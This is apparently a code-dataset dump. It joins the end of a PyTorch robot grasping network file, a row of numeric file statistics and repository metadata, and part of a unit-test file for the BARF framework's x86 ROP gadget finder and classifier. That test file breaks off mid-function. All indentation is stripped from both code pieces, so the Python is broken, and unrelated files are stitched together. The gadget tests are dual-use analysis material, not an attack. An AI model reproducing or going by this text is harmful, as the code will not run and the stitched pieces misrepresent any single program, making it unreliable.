interm_grasp_feat = torch.cat((interm_grasp_color_feat, interm_grasp_depth_feat, grasp_goal_vec), dim=1)
if self.place:
place_goal_vec = tile_vector_as_image_channels_torch(self.place_vector_block(goal_condition), interm_push_color_feat.shape)
interm_place_feat = torch.cat((interm_place_color_feat, interm_place_depth_feat, place_goal_vec), dim=1)
else:
if tiled_goal_condition is None:
# This is part of a big for loop, but tiling only needs to be done once.
# Sorry that this code is a bit confusing, but we need the shape of the output of interm_*_color_feat
tiled_goal_condition = tile_vector_as_image_channels_torch(goal_condition, interm_push_color_feat.shape)
interm_push_feat = torch.cat((interm_push_color_feat, interm_push_depth_feat, tiled_goal_condition), dim=1)
interm_grasp_feat = torch.cat((interm_grasp_color_feat, interm_grasp_depth_feat, tiled_goal_condition), dim=1)
if self.place:
interm_place_feat = torch.cat((interm_place_color_feat, interm_place_depth_feat, tiled_goal_condition), dim=1)
return interm_push_feat, interm_grasp_feat, interm_place_feat, tiled_goal_condition
def transfer_grasp_to_place(self):
if self.network == 'densenet' or efficientnet_pytorch is None:
# placenet tests block stacking
if self.place:
self.place_color_trunk.load_state_dict(self.grasp_color_trunk.state_dict())
self.place_depth_trunk.load_state_dict(self.grasp_depth_trunk.state_dict())
fc_channels = 2048
second_fc_channels = 64
# The push and place efficientnet model is shared, so we don't need to transfer that.
if self.place:
# we rename the dictionary names of the grasp weights to place, then load them into the placenet
self.placenet.load_state_dict(dict(map(lambda t: (t[0].replace('grasp', 'place'), t[1]), self.graspnet.state_dict().items())))
class reinforcement_net(nn.Module):
def __init__(self, use_cuda=True, goal_condition_len=0, place=False, network='densenet', use_vector_block=False, pretrained=True, align_corners=False, num_dilation=1): # , snapshot=None
super(reinforcement_net, self).__init__()
# super(PixelNet, self).__init__()
self.use_cuda = use_cuda
self.place = place
self.use_vector_block = use_vector_block
self.upsample_scale = 16
self.num_rotations = 16
self.network = network
self.align_corners = align_corners
if self.use_vector_block:
channels_out = 2048
self.push_vector_block = vector_block('push', goal_condition_len, channels_out=channels_out)
self.grasp_vector_block = vector_block('grasp', goal_condition_len, channels_out=channels_out)
if place:
self.place_vector_block = vector_block('place', goal_condition_len, channels_out=channels_out)
# TODO(ahundt) this variable overwrite is confusing, write the code better
goal_condition_len = channels_out
if network == 'densenet' or efficientnet_pytorch is None:
# Initialize network trunks with DenseNet pre-trained on ImageNet
self.push_color_trunk = torchvision.models.densenet.densenet121(pretrained=pretrained)
self.push_depth_trunk = torchvision.models.densenet.densenet121(pretrained=pretrained)
self.grasp_color_trunk = torchvision.models.densenet.densenet121(pretrained=pretrained)
self.grasp_depth_trunk = torchvision.models.densenet.densenet121(pretrained=pretrained)
# placenet tests block stacking
if self.place:
self.place_color_trunk = torchvision.models.densenet.densenet121(pretrained=pretrained)
self.place_depth_trunk = torchvision.models.densenet.densenet121(pretrained=pretrained)
fc_channels = 2048
second_fc_channels = 64
else:
# how many dilations to do at the end of the network
# num_dilation = 1
if num_dilation == 0:
if pretrained:
self.image_trunk = EfficientNet.from_pretrained('efficientnet-b0')
self.push_trunk = EfficientNet.from_pretrained('efficientnet-b0')
else:
self.image_trunk = EfficientNet.from_name('efficientnet-b0')
self.push_trunk = EfficientNet.from_name('efficientnet-b0')
else:
# Initialize network trunks with DenseNet pre-trained on ImageNet
try:
if pretrained:
self.image_trunk = EfficientNet.from_pretrained('efficientnet-b0', num_dilation=num_dilation)
self.push_trunk = EfficientNet.from_pretrained('efficientnet-b0', num_dilation=num_dilation)
else:
self.image_trunk = EfficientNet.from_name('efficientnet-b0', num_dilation=num_dilation)
self.push_trunk = EfficientNet.from_name('efficientnet-b0', num_dilation=num_dilation)
print('DILATED EfficientNet models created, num_dilation: ' + str(num_dilation))
except:
print('WARNING: Could not dilate, try installing https://github.com/ahundt/EfficientNet-PyTorch '
'instead of the original efficientnet pytorch')
num_dilation = 0
if pretrained:
self.image_trunk = EfficientNet.from_pretrained('efficientnet-b0')
self.push_trunk = EfficientNet.from_pretrained('efficientnet-b0')
else:
self.image_trunk = EfficientNet.from_name('efficientnet-b0')
self.push_trunk = EfficientNet.from_name('efficientnet-b0')
# how much will the dilations affect the upsample step
self.upsample_scale = self.upsample_scale / 2 ** num_dilation
fc_channels = 1280 * 2
# second_fc_channels = None
second_fc_channels = 64
# Construct network branches for pushing and grasping
self.pushnet = trunk_net('push', fc_channels, second_fc_channels, goal_condition_len, 1)
self.graspnet = trunk_net('grasp', fc_channels, second_fc_channels, goal_condition_len, 1)
# placenet tests block stacking
if place:
self.placenet = trunk_net('place', fc_channels, second_fc_channels, goal_condition_len, 1)
init_trunk_weights(self)
if self.use_cuda:
self.cuda()
def forward(self, input_color_data, input_depth_data, is_volatile=False, specific_rotation=-1, goal_condition=None):
if is_volatile:
with torch.no_grad():
output_prob = []
interm_feat = []
# Apply rotations to images
for rotate_idx in range(self.num_rotations):
rotate_theta = np.radians(rotate_idx*(360/self.num_rotations))
# Compute sample grid for rotation BEFORE neural network
affine_mat_before = rot_to_affine_mat(-rotate_theta, batch_size=input_color_data.size(0))
if self.use_cuda:
flow_grid_before = F.affine_grid(Variable(affine_mat_before, requires_grad=False).cuda(), input_color_data.size())
else:
flow_grid_before = F.affine_grid(Variable(affine_mat_before, requires_grad=False), input_color_data.size())
# Rotate images clockwise
if self.use_cuda:
rotate_color = F.grid_sample(Variable(input_color_data, volatile=True).cuda(), flow_grid_before, mode='nearest')
rotate_depth = F.grid_sample(Variable(input_depth_data, volatile=True).cuda(), flow_grid_before, mode='nearest')
else:
rotate_color = F.grid_sample(Variable(input_color_data, volatile=True), flow_grid_before, mode='nearest')
rotate_depth = F.grid_sample(Variable(input_depth_data, volatile=True), flow_grid_before, mode='nearest')
# Compute intermediate features
interm_push_color_feat = self.push_color_trunk.features(rotate_color)
interm_push_depth_feat = self.push_depth_trunk.features(rotate_depth)
interm_push_feat = torch.cat((interm_push_color_feat, interm_push_depth_feat), dim=1)
interm_grasp_color_feat = self.grasp_color_trunk.features(rotate_color)
interm_grasp_depth_feat = self.grasp_depth_trunk.features(rotate_depth)
interm_grasp_feat = torch.cat((interm_grasp_color_feat, interm_grasp_depth_feat), dim=1)
part_interm_feat = [interm_push_feat, interm_grasp_feat]
if self.place:
interm_place_color_feat = self.place_color_trunk.features(rotate_color)
interm_place_depth_feat = self.place_depth_trunk.features(rotate_depth)
interm_place_feat = torch.cat((interm_place_color_feat, interm_place_depth_feat), dim=1)
part_interm_feat += [interm_place_feat]
interm_feat.append(part_interm_feat)
# Compute sample grid for rotation AFTER branches
affine_mat_after = rot_to_affine_mat(rotate_theta, batch_size=input_color_data.size(0))
if self.use_cuda:
flow_grid_after = F.affine_grid(Variable(affine_mat_after, requires_grad=False).cuda(), interm_push_feat.data.size())
else:
flow_grid_after = F.affine_grid(Variable(affine_mat_after, requires_grad=False), interm_push_feat.data.size())
# Forward pass through branches, undo rotation on output predictions, upsample results
part_output_prob = [nn.Upsample(scale_factor=self.upsample_scale, mode='bilinear', align_corners=self.align_corners).forward(F.grid_sample(self.pushnet(interm_push_feat), flow_grid_after, mode='nearest', align_corners=self.align_corners)),
nn.Upsample(scale_factor=self.upsample_scale, mode='bilinear', align_corners=self.align_corners).forward(F.grid_sample(self.graspnet(interm_grasp_feat), flow_grid_after, mode='nearest', align_corners=self.align_corners))]
if self.place:
part_output_prob += [nn.Upsample(scale_factor=self.upsample_scale, mode='bilinear', align_corners=self.align_corners).forward(F.grid_sample(self.placenet(interm_place_feat), flow_grid_after, mode='nearest', align_corners=self.align_corners))]
# Forward pass through branches, undo rotation on output predictions, upsample results
output_prob.append(part_output_prob)
return output_prob, interm_feat
else:
output_prob = []
interm_feat = []
# Apply rotations to intermediate features
# for rotate_idx in range(self.num_rotations):
rotate_idx = specific_rotation
rotate_theta = np.radians(rotate_idx*(360/self.num_rotations))
# Compute sample grid for rotation BEFORE branches
affine_mat_before = rot_to_affine_mat(-rotate_theta, batch_size=input_color_data.size(0))
if self.use_cuda:
flow_grid_before = F.affine_grid(Variable(affine_mat_before, requires_grad=False).cuda(), input_color_data.size())
else:
flow_grid_before = F.affine_grid(Variable(affine_mat_before, requires_grad=False), input_color_data.size())
# Rotate images clockwise
if self.use_cuda:
rotate_color = F.grid_sample(Variable(input_color_data, requires_grad=False).cuda(), flow_grid_before, mode='nearest')
rotate_depth = F.grid_sample(Variable(input_depth_data, requires_grad=False).cuda(), flow_grid_before, mode='nearest')
else:
rotate_color = F.grid_sample(Variable(input_color_data, requires_grad=False), flow_grid_before, mode='nearest')
rotate_depth = F.grid_sample(Variable(input_depth_data, requires_grad=False), flow_grid_before, mode='nearest')
# Compute intermediate features
interm_push_color_feat = self.push_color_trunk.features(rotate_color)
interm_push_depth_feat = self.push_depth_trunk.features(rotate_depth)
interm_push_feat = torch.cat((interm_push_color_feat, interm_push_depth_feat), dim=1)
interm_grasp_color_feat = self.grasp_color_trunk.features(rotate_color)
interm_grasp_depth_feat = self.grasp_depth_trunk.features(rotate_depth)
interm_grasp_feat = torch.cat((interm_grasp_color_feat, interm_grasp_depth_feat), dim=1)
part_interm_feat = [interm_push_feat, interm_grasp_feat]
if self.place:
interm_place_color_feat = self.place_color_trunk.features(rotate_color)
interm_place_depth_feat = self.place_depth_trunk.features(rotate_depth)
interm_place_feat = torch.cat((interm_place_color_feat, interm_place_depth_feat), dim=1)
part_interm_feat += [interm_place_feat]
interm_feat.append(part_interm_feat)
# Compute sample grid for rotation AFTER branches
affine_mat_after = rot_to_affine_mat(rotate_theta, batch_size=input_color_data.size(0))
if self.use_cuda:
flow_grid_after = F.affine_grid(Variable(affine_mat_after, requires_grad=False).cuda(), interm_push_feat.data.size())
else:
flow_grid_after = F.affine_grid(Variable(affine_mat_after, requires_grad=False), interm_push_feat.data.size())
part_output_prob = [nn.Upsample(scale_factor=self.upsample_scale, mode='bilinear', align_corners=self.align_corners).forward(F.grid_sample(self.pushnet(interm_push_feat), flow_grid_after, mode='nearest', align_corners=self.align_corners)),
nn.Upsample(scale_factor=self.upsample_scale, mode='bilinear', align_corners=self.align_corners).forward(F.grid_sample(self.graspnet(interm_grasp_feat), flow_grid_after, mode='nearest', align_corners=self.align_corners))]
if self.place:
part_output_prob += [nn.Upsample(scale_factor=self.upsample_scale, mode='bilinear', align_corners=self.align_corners).forward(F.grid_sample(self.placenet(interm_place_feat), flow_grid_after, mode='nearest', align_corners=self.align_corners))]
# Forward pass through branches, undo rotation on output predictions, upsample results
output_prob.append(part_output_prob)
return output_prob, interm_feat
| 63.835962 | 266 | 0.65129 | 4,876 | 40,472 | 5.081214 | 0.075267 | 0.062964 | 0.04133 | 0.052551 | 0.834679 | 0.821803 | 0.799564 | 0.78128 | 0.771472 | 0.754803 | 0 | 0.008577 | 0.265443 | 40,472 | 633 | 267 | 63.936809 | 0.824818 | 0.12668 | 0 | 0.713024 | 0 | 0.002208 | 0.053846 | 0 | 0 | 0 | 0 | 0.004739 | 0 | 1 | 0.024283 | false | 0 | 0.028698 | 0.002208 | 0.077263 | 0.011038 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
6249d104ce803be55e740a4082ea5e8614687e5e | 72,743 | py | Python | tests/analysis/gadgets/test_gadget_x86.py | Cyb3rDo/barf-project | df7359b7689f3282cdf900358bf2519d7f6c1da4 | [
"BSD-2-Clause"
] | 1 | 2018-12-14T13:41:37.000Z | 2018-12-14T13:41:37.000Z | tests/analysis/gadgets/test_gadget_x86.py | Cyb3rDo/barf-project | df7359b7689f3282cdf900358bf2519d7f6c1da4 | [
"BSD-2-Clause"
] | null | null | null | tests/analysis/gadgets/test_gadget_x86.py | Cyb3rDo/barf-project | df7359b7689f3282cdf900358bf2519d7f6c1da4 | [
"BSD-2-Clause"
] | null | null | null | # Copyright (c) 2014, Fundacion Dr. Manuel Sadosky
# All rights reserved.
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are met:
# 1. Redistributions of source code must retain the above copyright notice, this
# list of conditions and the following disclaimer.
# 2. Redistributions in binary form must reproduce the above copyright notice,
# this list of conditions and the following disclaimer in the documentation
# and/or other materials provided with the distribution.
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
# DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
# FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
# DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
# SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
# CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
# OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
# OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
import unittest
from barf.analysis.codeanalyzer import CodeAnalyzer
from barf.analysis.gadgets.gadget import GadgetType
from barf.analysis.gadgets.classifier import GadgetClassifier
from barf.analysis.gadgets.finder import GadgetFinder
from barf.analysis.gadgets.verifier import GadgetVerifier
from barf.arch import ARCH_X86
from barf.arch import ARCH_X86_MODE_32
from barf.arch import ARCH_X86_MODE_64
from barf.arch.x86 import X86ArchitectureInformation
from barf.arch.x86.disassembler import X86Disassembler
from barf.arch.x86.translator import X86Translator
from barf.core.reil import ReilEmptyOperand
from barf.core.reil.emulator.emulator import ReilEmulator
from barf.core.reil import ReilImmediateOperand
from barf.core.reil import ReilRegisterOperand
# from barf.core.smt.smtsolver import CVC4Solver as SmtSolver
from barf.core.smt.smtsolver import Z3Solver as SmtSolver
from barf.core.smt.smttranslator import SmtTranslator
class GadgetClassifierTests(unittest.TestCase):
def setUp(self):
self._arch_info = X86ArchitectureInformation(ARCH_X86_MODE_32)
self._ir_emulator = ReilEmulator(self._arch_info)
self._g_classifier = GadgetClassifier(self._ir_emulator, self._arch_info)
# FIXME: Don't take into account esp modification because of RET instruction.
# def test_nop_1(self):
# # testing : nop
# binary = "\x90" # 0x00 : (1) nop
# binary += "\xc3" # 0x00 : (1) ret
# g_finder = GadgetFinder(X86Disassembler(ARCH_X86_MODE_32), binary, X86Translator(ARCH_X86_MODE_32), ARCH_X86, ARCH_X86_MODE_32)
# g_candidates = g_finder.find(0x00000000, 0x00000001)
# g_classified = self._g_classifier.classify(g_candidates[0])
# # self.print_candidates(g_candidates)
# # self.print_classified(g_classified)
# self.assertEquals(len(g_candidates), 1)
# self.assertEquals(len(g_classified), 1)
# self.assertEquals(g_classified[0].type, GadgetType.NoOperation)
# self.assertEquals(g_classified[0].sources, [])
# self.assertEquals(g_classified[0].destination, [])
# self.assertEquals(len(g_classified[0].modified_registers), 0)
# FIXME: Don't take into account esp modification because of RET instruction.
# def test_nop_2(self):
# # testing : nop
# binary = "\x89\xc0" # 0X00 : (2) mov eax, eax
# binary += "\xc3" # 0X02 : (1) ret
# g_finder = GadgetFinder(X86Disassembler(ARCH_X86_MODE_32), binary, X86Translator(ARCH_X86_MODE_32), ARCH_X86, ARCH_X86_MODE_32)
# g_candidates = g_finder.find(0x00000000, 0x00000002)
# g_classified = self._g_classifier.classify(g_candidates[0])
# self.assertEquals(len(g_candidates), 1)
# self.assertEquals(len(g_classified), 1)
# # self.print_candidates(g_candidates)
# # self.print_classified(g_classified)
# self.assertEquals(g_classified[0].type, GadgetType.NoOperation)
# self.assertEquals(g_classified[0].sources, [])
# self.assertEquals(g_classified[0].destination, [])
# self.assertEquals(len(g_classified[0].modified_registers), 0)
# self.assertFalse(ReilRegisterOperand("eax", 32) in g_classified[0].modified_registers)
def test_move_register_1(self):
# testing : dst_reg <- src_reg
binary = "\x89\xd8" # 0x00 : (2) mov eax, ebx
binary += "\xc3" # 0x02 : (1) ret
g_finder = GadgetFinder(X86Disassembler(ARCH_X86_MODE_32), binary, X86Translator(ARCH_X86_MODE_32), ARCH_X86, ARCH_X86_MODE_32)
g_candidates = g_finder.find(0x00000000, 0x00000002)
g_classified = self._g_classifier.classify(g_candidates[0])
# self.print_candidates(g_candidates)
# self.print_classified(g_classified)
self.assertEquals(len(g_candidates), 1)
self.assertEquals(len(g_classified), 1)
self.assertEquals(g_classified[0].type, GadgetType.MoveRegister)
self.assertEquals(g_classified[0].sources, [ReilRegisterOperand("ebx", 32)])
self.assertEquals(g_classified[0].destination, [ReilRegisterOperand("eax", 32)])
self.assertEquals(len(g_classified[0].modified_registers), 1)
self.assertFalse(ReilRegisterOperand("eax", 32) in g_classified[0].modified_registers)
self.assertTrue(ReilRegisterOperand("esp", 32) in g_classified[0].modified_registers)
def test_move_register_2(self):
# testing : dst_reg <- src_reg
binary = "\x8d\x03" # 0x00 : (2) lea eax, [ebx]
binary += "\xc3" # 0x02 : (1) ret
g_finder = GadgetFinder(X86Disassembler(ARCH_X86_MODE_32), binary, X86Translator(ARCH_X86_MODE_32), ARCH_X86, ARCH_X86_MODE_32)
g_candidates = g_finder.find(0x00000000, 0x00000002)
g_classified = self._g_classifier.classify(g_candidates[0])
# self.print_candidates(g_candidates)
# self.print_classified(g_classified)
self.assertEquals(len(g_candidates), 1)
self.assertEquals(len(g_classified), 1)
self.assertEquals(g_classified[0].type, GadgetType.MoveRegister)
self.assertEquals(g_classified[0].sources, [ReilRegisterOperand("ebx", 32)])
self.assertEquals(g_classified[0].destination, [ReilRegisterOperand("eax", 32)])
self.assertEquals(len(g_classified[0].modified_registers), 1)
self.assertFalse(ReilRegisterOperand("eax", 32) in g_classified[0].modified_registers)
self.assertTrue(ReilRegisterOperand("esp", 32) in g_classified[0].modified_registers)
def test_move_register_3(self):
# testing : dst_reg <- src_reg
binary = "\x93" # 0x00 : (1) xchg ebx, eax
binary += "\xc3" # 0x01 : (1) ret
g_finder = GadgetFinder(X86Disassembler(ARCH_X86_MODE_32), binary, X86Translator(ARCH_X86_MODE_32), ARCH_X86, ARCH_X86_MODE_32)
g_candidates = g_finder.find(0x00000000, 0x00000001)
g_classified = self._g_classifier.classify(g_candidates[0])
# self.print_candidates(g_candidates)
# self.print_classified(g_classified)
self.assertEquals(len(g_candidates), 1)
self.assertEquals(len(g_classified), 2)
self.assertEquals(g_classified[0].type, GadgetType.MoveRegister)
self.assertEquals(g_classified[0].sources, [ReilRegisterOperand("eax", 32)])
self.assertEquals(g_classified[0].destination, [ReilRegisterOperand("ebx", 32)])
self.assertEquals(len(g_classified[0].modified_registers), 2)
self.assertTrue(ReilRegisterOperand("eax", 32) in g_classified[0].modified_registers)
self.assertFalse(ReilRegisterOperand("ebx", 32) in g_classified[0].modified_registers)
self.assertTrue(ReilRegisterOperand("esp", 32) in g_classified[0].modified_registers)
def test_move_register_4(self):
# testing : dst_reg <- src_reg
binary = "\x93" # 0x00 : (1) xchg ebx, eax
binary += "\xc3" # 0x01 : (1) ret
g_finder = GadgetFinder(X86Disassembler(ARCH_X86_MODE_32), binary, X86Translator(ARCH_X86_MODE_32), ARCH_X86, ARCH_X86_MODE_32)
g_candidates = g_finder.find(0x00000000, 0x00000001)
g_classified = self._g_classifier.classify(g_candidates[0])
# self.print_candidates(g_candidates)
# self.print_classified(g_classified)
self.assertEquals(len(g_candidates), 1)
self.assertEquals(len(g_classified), 2)
self.assertEquals(g_classified[1].type, GadgetType.MoveRegister)
self.assertEquals(g_classified[1].sources, [ReilRegisterOperand("ebx", 32)])
self.assertEquals(g_classified[1].destination, [ReilRegisterOperand("eax", 32)])
self.assertEquals(len(g_classified[1].modified_registers), 2)
self.assertFalse(ReilRegisterOperand("eax", 32) in g_classified[1].modified_registers)
self.assertTrue(ReilRegisterOperand("ebx", 32) in g_classified[1].modified_registers)
self.assertTrue(ReilRegisterOperand("esp", 32) in g_classified[1].modified_registers)
def test_move_register_5(self):
# testing : dst_reg <- src_reg
binary = "\x6b\xc3\x01" # 0x00 : (3) imul eax, ebx, 0x1
binary += "\xc3" # 0x03 : (1) ret
g_finder = GadgetFinder(X86Disassembler(ARCH_X86_MODE_32), binary, X86Translator(ARCH_X86_MODE_32), ARCH_X86, ARCH_X86_MODE_32)
g_candidates = g_finder.find(0x00000000, 0x00000003)
g_classified = self._g_classifier.classify(g_candidates[0])
# self.print_candidates(g_candidates)
# self.print_classified(g_classified)
self.assertEquals(len(g_candidates), 1)
self.assertEquals(len(g_classified), 1)
self.assertEquals(g_classified[0].type, GadgetType.MoveRegister)
self.assertEquals(g_classified[0].sources, [ReilRegisterOperand("ebx", 32)])
self.assertEquals(g_classified[0].destination, [ReilRegisterOperand("eax", 32)])
self.assertEquals(len(g_classified[0].modified_registers), 2)
self.assertFalse(ReilRegisterOperand("eax", 32) in g_classified[0].modified_registers)
self.assertTrue(ReilRegisterOperand("esp", 32) in g_classified[0].modified_registers)
def test_load_constant_1(self):
# testing : dst_reg <- constant
binary = "\xb8\x00\x00\x00\x00" # 0x00 : (5) mov eax, 0x0
binary += "\xc3" # 0x05 : (1) ret
g_finder = GadgetFinder(X86Disassembler(ARCH_X86_MODE_32), binary, X86Translator(ARCH_X86_MODE_32), ARCH_X86, ARCH_X86_MODE_32)
g_candidates = g_finder.find(0x00000000, 0x00000005)
g_classified = self._g_classifier.classify(g_candidates[1])
# self.print_candidates(g_candidates)
# self.print_classified(g_classified)
self.assertEquals(len(g_candidates), 2)
self.assertEquals(len(g_classified), 1)
self.assertEquals(g_classified[0].type, GadgetType.LoadConstant)
self.assertEquals(g_classified[0].sources, [ReilImmediateOperand(0x0, 32)])
self.assertEquals(g_classified[0].destination, [ReilRegisterOperand("eax", 32)])
self.assertEquals(len(g_classified[0].modified_registers), 1)
self.assertFalse(ReilRegisterOperand("eax", 32) in g_classified[0].modified_registers)
self.assertTrue(ReilRegisterOperand("esp", 32) in g_classified[0].modified_registers)
def test_load_constant_2(self):
# testing : dst_reg <- constant
binary = "\x29\xc0" # 0x00 : (2) sub eax, eax
binary += "\xc3" # 0x02 : (1) ret
g_finder = GadgetFinder(X86Disassembler(ARCH_X86_MODE_32), binary, X86Translator(ARCH_X86_MODE_32), ARCH_X86, ARCH_X86_MODE_32)
g_candidates = g_finder.find(0x00000000, 0x00000002)
g_classified = self._g_classifier.classify(g_candidates[0])
# self.print_candidates(g_candidates)
# self.print_classified(g_classified)
self.assertEquals(len(g_candidates), 1)
self.assertEquals(len(g_classified), 1)
self.assertEquals(g_classified[0].type, GadgetType.LoadConstant)
self.assertEquals(g_classified[0].sources, [ReilImmediateOperand(0x0, 32)])
self.assertEquals(g_classified[0].destination, [ReilRegisterOperand("eax", 32)])
self.assertEquals(len(g_classified[0].modified_registers), 2)
self.assertFalse(ReilRegisterOperand("eax", 32) in g_classified[0].modified_registers)
self.assertTrue(ReilRegisterOperand("esp", 32) in g_classified[0].modified_registers)
def test_arithmetic_add_1(self):
# testing : dst_reg <- src1_reg + src2_reg
binary = "\x01\xc1" # 0x00 : (2) add ecx, eax
binary += "\xc3" # 0x02 : (1) ret
g_finder = GadgetFinder(X86Disassembler(ARCH_X86_MODE_32), binary, X86Translator(ARCH_X86_MODE_32), ARCH_X86, ARCH_X86_MODE_32)
g_candidates = g_finder.find(0x00000000, 0x00000002)
g_classified = self._g_classifier.classify(g_candidates[0])
# self.print_candidates(g_candidates)
# self.print_classified(g_classified)
self.assertEquals(len(g_candidates), 1)
self.assertEquals(len(g_classified), 1)
self.assertEquals(g_classified[0].type, GadgetType.Arithmetic)
self.assertEquals(g_classified[0].sources, [ReilRegisterOperand("eax", 32), ReilRegisterOperand("ecx", 32)])
self.assertEquals(g_classified[0].destination, [ReilRegisterOperand("ecx", 32)])
self.assertEquals(g_classified[0].operation, "+")
self.assertEquals(len(g_classified[0].modified_registers), 2)
self.assertFalse(ReilRegisterOperand("ecx", 32) in g_classified[0].modified_registers)
self.assertTrue(ReilRegisterOperand("esp", 32) in g_classified[0].modified_registers)
def test_arithmetic_add_2(self):
# testing : dst_reg <- src1_reg + src2_reg
binary = "\x23\x00" # 0x00 : (2) and eax, dword [eax]
binary += "\x00\xc9" # 0x02 : (2) add cl, cl
binary += "\xc3" # 0x04 : (1) ret
g_finder = GadgetFinder(X86Disassembler(ARCH_X86_MODE_32), binary, X86Translator(ARCH_X86_MODE_32), ARCH_X86, ARCH_X86_MODE_32)
g_candidates = g_finder.find(0x00000000, 0x00000004)
g_classified = self._g_classifier.classify(g_candidates[1])
# self.print_candidates(g_candidates)
# self.print_classified(g_classified)
self.assertEquals(len(g_candidates), 2)
self.assertEquals(len(g_classified), 2)
self.assertEquals(g_classified[0].type, GadgetType.Arithmetic)
self.assertEquals(g_classified[0].sources, [ReilRegisterOperand("cl", 8), ReilRegisterOperand("cl", 8)])
self.assertEquals(g_classified[0].destination, [ReilRegisterOperand("cl", 8)])
self.assertEquals(g_classified[0].operation, "+")
self.assertEquals(len(g_classified[0].modified_registers), 4)
self.assertTrue(ReilRegisterOperand("eax", 32) in g_classified[0].modified_registers)
self.assertTrue(ReilRegisterOperand("ecx", 32) in g_classified[0].modified_registers)
self.assertTrue(ReilRegisterOperand("esp", 32) in g_classified[0].modified_registers)
def test_arithmetic_add_3(self):
# testing : dst_reg <- src1_reg + src2_reg
binary = "\x00\xC3" # 0x00 : (2) add bl,al
binary += "\x50" # 0x02 : (1) push eax
binary += "\xC3" # 0x03 : (1) ret
g_finder = GadgetFinder(X86Disassembler(ARCH_X86_MODE_32), binary, X86Translator(ARCH_X86_MODE_32), ARCH_X86, ARCH_X86_MODE_32)
g_candidates = g_finder.find(0x00000000, 0x00000003)
g_classified = self._g_classifier.classify(g_candidates[0])
# self.print_candidates(g_candidates)
# self.print_classified(g_classified)
self.assertEquals(len(g_candidates), 1)
self.assertEquals(len(g_classified), 4)
self.assertEquals(g_classified[0].type, GadgetType.Arithmetic)
self.assertEquals(g_classified[0].sources, [ReilRegisterOperand("al", 8), ReilRegisterOperand("bl", 8)])
self.assertEquals(g_classified[0].destination, [ReilRegisterOperand("bl", 8)])
self.assertEquals(g_classified[0].operation, "+")
self.assertEquals(len(g_classified[0].modified_registers), 2)
self.assertTrue(ReilRegisterOperand("ebx", 32) in g_classified[0].modified_registers)
def test_arithmetic_sub(self):
# testing : dst_reg <- src1_reg - src2_reg
binary = "\x29\xd1" # 0x00 : (2) sub ecx, edx
binary += "\xc3" # 0x02 : (1) ret
g_finder = GadgetFinder(X86Disassembler(ARCH_X86_MODE_32), binary, X86Translator(ARCH_X86_MODE_32), ARCH_X86, ARCH_X86_MODE_32)
g_candidates = g_finder.find(0x00000000, 0x00000002)
g_classified = self._g_classifier.classify(g_candidates[0])
# self.print_candidates(g_candidates)
# self.print_classified(g_classified)
self.assertEquals(len(g_candidates), 1)
self.assertEquals(len(g_classified), 1)
self.assertEquals(g_classified[0].type, GadgetType.Arithmetic)
self.assertEquals(g_classified[0].sources, [ReilRegisterOperand("ecx", 32), ReilRegisterOperand("edx", 32)])
self.assertEquals(g_classified[0].destination, [ReilRegisterOperand("ecx", 32)])
self.assertEquals(g_classified[0].operation, "-")
self.assertEquals(len(g_classified[0].modified_registers), 2)
self.assertFalse(ReilRegisterOperand("ecx", 32) in g_classified[0].modified_registers)
self.assertTrue(ReilRegisterOperand("esp", 32) in g_classified[0].modified_registers)
def test_load_memory_1(self):
# testing : dst_reg <- m[src_reg]
binary = "\x8b\x03" # 0x00 : (2) mov eax, dword ptr [ebx]
binary += "\xc3" # 0x02 : (1) ret
g_finder = GadgetFinder(X86Disassembler(ARCH_X86_MODE_32), binary, X86Translator(ARCH_X86_MODE_32), ARCH_X86, ARCH_X86_MODE_32)
g_candidates = g_finder.find(0x00000000, 0x00000002)
g_classified = self._g_classifier.classify(g_candidates[0])
# self.print_candidates(g_candidates)
# self.print_classified(g_classified)
self.assertEquals(len(g_candidates), 1)
self.assertEquals(len(g_classified), 1)
self.assertEquals(g_classified[0].type, GadgetType.LoadMemory)
self.assertEquals(g_classified[0].sources, [ReilRegisterOperand("ebx", 32), ReilImmediateOperand(0x0, 32)])
self.assertEquals(g_classified[0].destination, [ReilRegisterOperand("eax", 32)])
self.assertEquals(len(g_classified[0].modified_registers), 1)
self.assertFalse(ReilRegisterOperand("eax", 32) in g_classified[0].modified_registers)
self.assertTrue(ReilRegisterOperand("esp", 32) in g_classified[0].modified_registers)
def test_load_memory_2(self):
# testing : dst_reg <- m[offset]
binary = "\x8b\x0d\xef\xbe\xad\xde" # 0x00 : (6) mov ecx, dword ptr [0xdeadbeef]
binary += "\xc3" # 0x06 : (1) ret
g_finder = GadgetFinder(X86Disassembler(ARCH_X86_MODE_32), binary, X86Translator(ARCH_X86_MODE_32), ARCH_X86, ARCH_X86_MODE_32)
g_candidates = g_finder.find(0x00000000, 0x00000006)
g_classified = self._g_classifier.classify(g_candidates[1])
# self.print_candidates(g_candidates)
# self.print_classified(g_classified)
self.assertEquals(len(g_candidates), 2)
self.assertEquals(len(g_classified), 1)
self.assertEquals(g_classified[0].type, GadgetType.LoadMemory)
self.assertEquals(g_classified[0].sources, [ReilEmptyOperand(), ReilImmediateOperand(0xdeadbeef, 32)])
self.assertEquals(g_classified[0].destination, [ReilRegisterOperand("ecx", 32)])
self.assertEquals(len(g_classified[0].modified_registers), 1)
